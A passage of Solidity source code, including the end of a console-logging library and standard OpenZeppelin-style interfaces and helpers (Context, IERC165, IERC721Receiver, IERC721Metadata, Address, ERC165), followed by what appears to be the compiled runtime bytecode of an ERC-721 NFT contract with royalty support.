p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063715018a6116100b8578063b9c4d9fb1161007c578063b9c4d9fb14610376578063c54216b4146103a6578063c623a318146103c2578063c87b56dd146103de578063e985e9c51461040e578063f2fde38b1461043e57610142565b8063715018a6146102f85780638da5cb5b1461030257806395d89b4114610320578063a22cb4651461033e578063b88d4fde1461035a57610142565b806323b872dd1161010a57806323b872dd146102115780632a55205a1461022d57806342842e0e1461025e5780634934bf5c1461027a5780636352211e1461029857806370a08231146102c857610142565b806301ffc9a71461014757806306fdde0314610177578063081812fc14610195578063095ea7b3146101c55780630ebd4c7f146101e1575b600080fd5b610161600480360381019061015c91906122a2565b61045a565b60405161016e9190612a92565b60405180910390f35b61017f61050a565b60405161018c9190612aad565b60405180910390f35b6101af60048036038101906101aa9190612335565b61059c565b6040516101bc91906129be565b60405180910390f35b6101df60048036038101906101da9190612266565b610621565b005b6101fb60048036038101906101f69190612335565b610739565b6040516102089190612a70565b60405180910390f35b61022b60048036038101906102269190612160565b61078e565b005b6102476004803603810190610242919061235e565b6107ee565b604051610255929190612a25565b60405180910390f35b61027860048036038101906102739190612160565b61082c565b005b61028261084c565b60405161028f9190612a92565b60405180910390f35b6102b260048036038101906102ad9190612335565b61085f565b6040516102bf91906129be565b60405180910390f35b6102e260048036038101906102dd91906120fb565b610911565b6040516102ef9190612caf565b60405180910390f35b6103006109c9565b005b61030a610a51565b60405161031791906129be565b60405180910390f35b610328610a7b565b6040516103359190612aad565b60405180910390f35b6103586004803603810190610353919061222a565b610b0d565b005b610374600480360381019061036f91906121af565b610c8e565b005b610390600480360381019061038b9190612335565b610cf0565b60405161039d9190612a4e565b60405180910390f35b6103c060048036038101906103bb91906122f4565b610d85565b005b6103dc60048036038101906103d791906120fb565b610e1b565b005b6103f860048036038101906103f39190612335565b610ebe565b6040516104059190612aad565b60405180910390f35b61042860048036038101906104239190612124565b610f70565b6040516104359190612a92565b60405180910390f35b610458600480360381019061045391906120fb565b611004565b005b600063b779958460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806104f35750632a55205a60e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806105035750610502826110fc565b5b9050919050565b60606000805461051990612ff8565b80601f016020809104026020016040519081016040528092919081815260200182805461054590612ff8565b80156105925780601f1061056757610100808354040283529160200191610592565b820191906000526020600020905b81548152906001019060200180831161057557829003601f168201915b5050505050905090565b60006105a7826111de565b6105e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105dd90612c0f565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061062c8261085f565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561069d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069490612c6f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166106bc61124a565b73ffffffffffffffffffffffffffffffffffffffff1614806106eb57506106ea816106e561124a565b610f70565b5b61072a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072190612b8f565b60405180910390fd5b6107348383611252565b505050565b6060806101f481600081518110610779577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080915050919050565b61079f61079961124a565b8261130b565b6107de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d590612c8f565b60405180910390fd5b6107e98383836113e9565b505050565b600080734b49652fbf286b3da10e44442c38134d841159ef612710846101f46108179190612ea2565b6108219190612e71565b915091509250929050565b61084783838360405180602001604052806000815250610c8e565b505050565b600c60009054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610908576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ff90612bcf565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097990612baf565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109d161124a565b73ffffffffffffffffffffffffffffffffffffffff166109ef610a51565b73ffffffffffffffffffffffffffffffffffffffff1614610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90612c2f565b60405180910390fd5b610a4f6000611645565b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610a8a90612ff8565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab690612ff8565b8015610b035780601f10610ad857610100808354040283529160200191610b03565b820191906000526020600020905b815481529060010190602001808311610ae657829003601f168201915b5050505050905090565b610b1561124a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a90612b4f565b60405180910390fd5b8060056000610b9061124a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610c3d61124a565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610c829190612a92565b60405180910390a35050565b610c9f610c9961124a565b8361130b565b610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd590612c8f565b60405180910390fd5b610cea8484848461170b565b50505050565b606080734b49652fbf286b3da10e44442c38134d841159ef81600081518110610d42577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080915050919050565b610d8d61124a565b73ffffffffffffffffffffffffffffffffffffffff16610dab610a51565b73ffffffffffffffffffffffffffffffffffffffff1614610e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df890612c2f565b60405180910390fd5b80600b9080519060200190610e17929190611f1f565b5050565b610e2361124a565b73ffffffffffffffffffffffffffffffffffffffff16610e41610a51565b73ffffffffffffffffffffffffffffffffffffffff1614610e97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8e90612c2f565b60405180910390fd5b610ea381600d54611767565b600d6000815480929190610eb69061305b565b919050555050565b6060600073ffffffffffffffffffffffffffffffffffffffff16610ee18361085f565b73ffffffffffffffffffffffffffffffffffffffff161415610f0257600080fd5b6000610f466007610f1285611785565b60086009600a6009600b604051602001610f3297969594939291906128f5565b604051602081830303815290604052611932565b604051602001610f56919061299c565b604051602081830303815290604052905080915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61100c61124a565b73ffffffffffffffffffffffffffffffffffffffff1661102a610a51565b73ffffffffffffffffffffffffffffffffffffffff1614611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790612c2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e790612aef565b60405180910390fd5b6110f981611645565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806111c757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806111d757506111d682611add565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166112c58361085f565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611316826111de565b611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c90612b6f565b60405180910390fd5b60006113608361085f565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806113cf57508373ffffffffffffffffffffffffffffffffffffffff166113b78461059c565b73ffffffffffffffffffffffffffffffffffffffff16145b806113e057506113df8185610f70565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166114098261085f565b73ffffffffffffffffffffffffffffffffffffffff161461145f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145690612c4f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c690612b2f565b60405180910390fd5b6114da838383611b47565b6114e5600082611252565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115359190612efc565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461158c9190612e1b565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6117168484846113e9565b61172284848484611b4c565b611761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175890612acf565b60405180910390fd5b50505050565b611781828260405180602001604052806000815250611ce3565b5050565b606060008214156117cd576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061192d565b600082905060005b600082146117ff5780806117e89061305b565b915050600a826117f89190612e71565b91506117d5565b60008167ffffffffffffffff811115611841577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156118735781602001600182028036833780820191505090505b5090505b600085146119265760018261188c9190612efc565b9150600a8561189b91906130a4565b60306118a79190612e1b565b60f81b8183815181106118e3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561191f9190612e71565b9450611877565b8093505050505b919050565b606060008251141561195557604051806020016040528060008152509050611ad8565b600060405180606001604052806040815260200161372760409139905060006003600285516119849190612e1b565b61198e9190612e71565b600461199a9190612ea2565b905060006020826119ab9190612e1b565b67ffffffffffffffff8111156119ea577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611a1c5781602001600182028036833780820191505090505b509050818152600183018586518101602084015b81831015611a97576003830192508251603f8160121c1685015160f81b8252600182019150603f81600c1c1685015160f81b8252600182019150603f8160061c1685015160f81b8252600182019150603f811685015160f81b825260018201915050611a30565b600389510660018114611ab15760028114611ac157611acc565b613d3d60f01b6002830352611acc565b603d60f81b60018303525b50505050508093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b505050565b6000611b6d8473ffffffffffffffffffffffffffffffffffffffff16611d3e565b15611cd6578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611b9661124a565b8786866040518563ffffffff1660e01b8152600401611bb894939291906129d9565b602060405180830381600087803b158015611bd257600080fd5b505af1925050508015611c0357506040513d601f19601f82011682018060405250810190611c0091906122cb565b60015b611c86573d8060008114611c33576040519150601f19603f3d011682016040523d82523d6000602084013e611c38565b606091505b50600081511415611c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7590612acf565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050611cdb565b600190505b949350505050565b611ced8383611d51565b611cfa6000848484611b4c565b611d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3090612acf565b60405180910390fd5b505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db890612bef565b60405180910390fd5b611dca816111de565b15611e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0190612b0f565b60405180910390fd5b611e1660008383611b47565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e669190612e1b565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b828054611f2b90612ff8565b90600052602060002090601f016020900481019282611f4d5760008555611f94565b82601f10611f6657805160ff1916838001178555611f94565b82800160010185558215611f94579182015b82811115611f93578251825591602001919060010190611f78565b5b509050611fa19190611fa5565b5090565b5b80821115611fbe576000816000905550600101611fa6565b5090565b6000611fd5611fd084612cef565b612cca565b905082815260208101848484011115611fed57600080fd5b611ff8848285612fb6565b509392505050565b600061201361200e84612d20565b612cca565b90508281526020810184848401111561202b57600080fd5b612036848285612fb6565b509392505050565b60008135905061204d816136ca565b92915050565b600081359050612062816136e1565b92915050565b600081359050612077816136f8565b92915050565b60008151905061208c816136f8565b92915050565b600082601f8301126120a357600080fd5b81356120b3848260208601611fc2565b91505092915050565b600082601f8301126120cd57600080fd5b81356120dd848260208601612000565b91505092915050565b6000813590506120f58161370f565b92915050565b60006020828403121561210d57600080fd5b600061211b8482850161203e565b91505092915050565b6000806040838503121561213757600080fd5b60006121458582860161203e565b92505060206121568582860161203e565b9150509250929050565b60008060006060848603121561217557600080fd5b60006121838682870161203e565b93505060206121948682870161203e565b92505060406121a5868287016120e6565b9150509250925092565b600080600080608085870312156121c557600080fd5b60006121d38782880161203e565b94505060206121e48782880161203e565b93505060406121f5878288016120e6565b925050606085013567ffffffffffffffff81111561221257600080fd5b61221e87828801612092565b91505092959194509250565b6000806040838503121561223d57600080fd5b600061224b8582860161203e565b925050602061225c85828601612053565b9150509250929050565b6000806040838503121561227957600080fd5b60006122878582860161203e565b9250506020612298858286016120e6565b9150509250929050565b6000602082840312156122b457600080fd5b60006122c284828501612068565b91505092915050565b6000602082840312156122dd57600080fd5b60006122eb8482850161207d565b91505092915050565b60006020828403121561230657600080fd5b600082013567ffffffffffffffff81111561232057600080fd5b61232c848285016120bc565b91505092915050565b60006020828403121561234757600080fd5b6000612355848285016120e6565b91505092915050565b6000806040838503121561237157600080fd5b600061237f858286016120e6565b9250506020612390858286016120e6565b9150509250929050565b60006123a683836123ca565b60208301905092915050565b60006123be83836128d7565b60208301905092915050565b6123d381612f42565b82525050565b6123e281612f30565b82525050565b60006123f382612d86565b6123fd8185612dcc565b935061240883612d51565b8060005b83811015612439578151612420888261239a565b975061242b83612db2565b92505060018101905061240c565b5085935050505092915050565b600061245182612d91565b61245b8185612ddd565b935061246683612d61565b8060005b8381101561249757815161247e88826123b2565b975061248983612dbf565b92505060018101905061246a565b5085935050505092915050565b6124ad81612f54565b82525050565b60006124be82612d9c565b6124c88185612dee565b93506124d8818560208601612fc5565b6124e181613191565b840191505092915050565b60006124f782612da7565b6125018185612dff565b9350612511818560208601612fc5565b61251a81613191565b840191505092915050565b600061253082612da7565b61253a8185612e10565b935061254a818560208601612fc5565b80840191505092915050565b6000815461256381612ff8565b61256d8186612e10565b945060018216600081146125885760018114612599576125cc565b60ff198316865281860193506125cc565b6125a285612d71565b60005b838110156125c4578154818901526001820191506020810190506125a5565b838801955050505b50505092915050565b60006125e2600983612e10565b91506125ed826131a2565b600982019050919050565b6000612605603283612dff565b9150612610826131cb565b604082019050919050565b6000612628600283612e10565b91506126338261321a565b600282019050919050565b600061264b602683612dff565b915061265682613243565b604082019050919050565b600061266e601c83612dff565b915061267982613292565b602082019050919050565b6000612691602483612dff565b915061269c826132bb565b604082019050919050565b60006126b4601983612dff565b91506126bf8261330a565b602082019050919050565b60006126d7600383612e10565b91506126e282613333565b600382019050919050565b60006126fa602c83612dff565b91506127058261335c565b604082019050919050565b600061271d603883612dff565b9150612728826133ab565b604082019050919050565b6000612740602a83612dff565b915061274b826133fa565b604082019050919050565b6000612763602983612dff565b915061276e82613449565b604082019050919050565b6000612786602083612dff565b915061279182613498565b602082019050919050565b60006127a9600d83612e10565b91506127b4826134c1565b600d82019050919050565b60006127cc602c83612dff565b91506127d7826134ea565b604082019050919050565b60006127ef601283612e10565b91506127fa82613539565b601282019050919050565b6000612812602083612dff565b915061281d82613562565b602082019050919050565b6000612835602983612dff565b91506128408261358b565b604082019050919050565b6000612858602183612dff565b9150612863826135da565b604082019050919050565b600061287b601d83612e10565b915061288682613629565b601d82019050919050565b600061289e603183612dff565b91506128a982613652565b604082019050919050565b60006128c1601583612e10565b91506128cc826136a1565b601582019050919050565b6128e081612fac565b82525050565b6128ef81612fac565b82525050565b6000612900826125d5565b915061290c828a612556565b91506129178261261b565b91506129238289612525565b915061292e826127e2565b915061293a8288612556565b91506129458261279c565b91506129518287612556565b915061295d8286612556565b9150612968826128b4565b91506129748285612556565b91506129808284612556565b915061298b826126ca565b915081905098975050505050505050565b60006129a78261286e565b91506129b38284612525565b915081905092915050565b60006020820190506129d360008301846123d9565b92915050565b60006080820190506129ee60008301876123d9565b6129fb60208301866123d9565b612a0860408301856128e6565b8181036060830152612a1a81846124b3565b905095945050505050565b6000604082019050612a3a60008301856123d9565b612a4760208301846128e6565b9392505050565b60006020820190508181036000830152612a6881846123e8565b905092915050565b60006020820190508181036000830152612a8a8184612446565b905092915050565b